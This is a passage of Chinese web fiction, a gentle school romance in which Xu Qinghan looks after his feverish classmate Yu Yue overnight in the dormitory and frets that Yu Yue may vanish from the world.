俞越配合地一口气吸溜进了嘴巴里面,撑得腮帮子鼓鼓的,嚼了好久才吞咽下去。
-
生日过后就要开学了。
因为高三开学早,学校提前开了校门,俞越沾着高三生的光回了宿舍。
许青翰也受邀开始每天来学校自习,他的寒假作业都已经写完了,俞越还在抓紧时间补。
许青翰发现俞越将小狗鱼挂件挂在了钥匙上面,去到哪儿都带着。
闲来无事,许清翰偶尔看一眼埋头补作业的他,思绪不受控制地发散起来。
日记本上,寒假前的进度是50%,寒假就快要过去,进度有增长多少吗?
他感觉可能会增长得很快。
因为十八岁生日和过年,他度过了非常愉悦的一个寒假。
但一直到开学他都没再见到俞越的日记本,也没有任何偷窥的机会。
开学照例有场考试,俞越和许青翰的排名依旧没变,孙旺和凌梅梅都进步了,没有让小俞老师失望。
凌梅梅笑着说:“我妈夸了一顿咱们的学习小组,说希望这种学习活动多来点儿。”
几人听了皆是忍俊不禁。
可惜这学期学习小组再没有过团建。
上半年没什么节日,学校没什么活动,孙旺这个体育生也参加集训去了。
因为步入高二下学期,下半年就是高三生了,学习氛围愈发紧张起来。
一中大多会在高二下学期就将几乎所有的课本内容全都上完,至多留下一点到高三上学期收尾,高三之后,就要开始系统性的全面复习了。
学习任务变重许多。
俞越偶尔会在周末和许青翰一起去海边逛逛,到了春天,海风都变得温柔起来。
可惜一次也没见到过信天翁。
可能真的要到海中央去吧。
-
不知是贪玩踩了海水,还是被传染,赶着春天的尾巴,俞越忽然病倒了。
其实开学之后班上就陆续有学生因为春季流感病倒,俞越以为自己躲过了一截,
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没想到在春末夏初的时候还是遭了殃,嗓子哑得说不出完整的话。
他到学校医务室开了点药,本想撑着在教室听听课,还能有许青翰照顾,没想到烧得太难受,实在是坚持不下去,跟陈劲请了假,回宿舍躺尸去了。
印象中,是许青翰将他扶去宿舍的。
再睁眼的时候,宿舍里面黑洞洞的,显然已经到了晚上,就是不知道几点了,俞越干咳几声,感觉睡得嗓子有些冒烟,想要下床去喝点水。
不待他从床上坐起,便见一道身影从下面站了起来,黑暗中与他对上模糊的视线。
“许……?”
俞越还没说完这个名字,对方便将他打断了。
“醒了?要不要喝水?”是戴着口罩的许青翰,没戴眼镜,口罩闷出的热气会呵在镜片上面模糊视线。
俞越咳了咳,嗯一声,很快温热的水杯便被递了过来,他一口气喝完了。
许青翰接过杯子,又给他倒了一些。
嗓子得到了很好的滋润,俞越说话都顺畅了一些,问:“几点了?”
“十一点。”
俞越微微瞪圆眼睛。
显然不可能是上午十一点,但晚上他们不到十点就晚自习下课了,许青翰怎么还在他的宿舍里面?
察觉到他的疑惑,许青翰主动解释说:“你一个人住…有点不放心,今晚我不回去了。”
其实会有点奇怪。
这里就只有一张会吱呀乱叫的小床,两个人睡会很挤,还有可能会传染流感病毒,班上还有其他住宿的男生,虽然没和俞越住在一起,但就在隔壁,且和俞越关系不错,拜托他们照看一下不成问题。
可许青翰还是亲自留下了。
因为这段时间俞越病得太厉害,让他有些不知所措。
这半年多的时间里,他偶尔也会抽空看一些穿越小说,知道小说里的套路:主角完成任务后会死遁离开这个世界。
按照俞越日记本里的说法,他大概率也会是以这样的方式离开。
他控制不住去想,这场春季流感会不会就是一个导火索,已经引燃了别离的烟花,等火舌吞吃完引线,绚烂的烟花炸开,噼里啪啦声彻底结束的时候,他就真的消失了。
惶恐感将他彻底操控。
他没能在最后一刻陪在母亲身边,也没能在最后一刻陪在元宝身边,他不想自己的人生再被遗憾吞没了。
他想陪着俞越,直到他离开前的最后一刻。
两人都心知肚明着什么,这份奇怪也就不觉得奇怪了。
俞越哑着嗓子说:“好吧…你晚上睡那头吧,我怕传染给你。”
许青翰点点头,给他喂了点药,又用热水打湿毛巾拧干,给他擦了擦脸,摘下口罩,爬上了床。
他也怕被传染病倒,就没办法再照顾俞越了。
俞越丢给他一个枕头,身体往另一侧靠去,这次许青翰将靠墙的位置让给了他。
自从去年两人第一次午睡之后,许青翰再也没和俞越在一张床上睡过,主要还是觉得自己睡着后控制不住将对方当做人形抱枕不好。
这次也管不了太多了。
被窝很暖,俞越的身体很烫,床却没有想象中那么拥挤。
因为这些天的病倒,俞越好似又瘦了些。
“要是挤到了你、想喝水什么的,就叫醒我和我说。”
黑暗中响起一声含笑的“好”。
许青翰不记得自己是什么时候睡着的了,但记得身体被暖得舒服,入睡得很快,一觉睡到了第二天天亮。
俞越一次也没有叫醒他。
他昨晚就关掉了俞越的闹钟,也不知道现在几点了,反正俞越请了病假,睡到什么时候都没关系。
而他——已是4月,上个月他按照程序报名了高考,最迟6月所有手续就能完全办完,原计划是在7月初暑假开始就直接飞去北方,这学期对他来说就是办理各种手续、收尾在这边的一切,漏上几节课无关痛痒,老师也不管
醒来的时候,他发现俞越坐靠在另一头,昏昏沉沉的,察觉到他这边的动静完全睁开了眼,不知道保持这个动作多久了。
许青翰很快清醒,终于注意到了自己身体的异样,嘴唇翕动了一下,最后什么也没说出口,转了个身,将脸侧向了另一边。
很快,宿舍里便响起了一声轻笑。
是俞越依旧发哑的声音:“害羞啦?”
“……”
“哎,生物老师不是说了吗,这是男生正常的生理现象。”
“我有时候早上也会这样。”
“别害羞。”
许青翰露在视野里的那只耳朵更红了。
……他果然,硌到俞越了。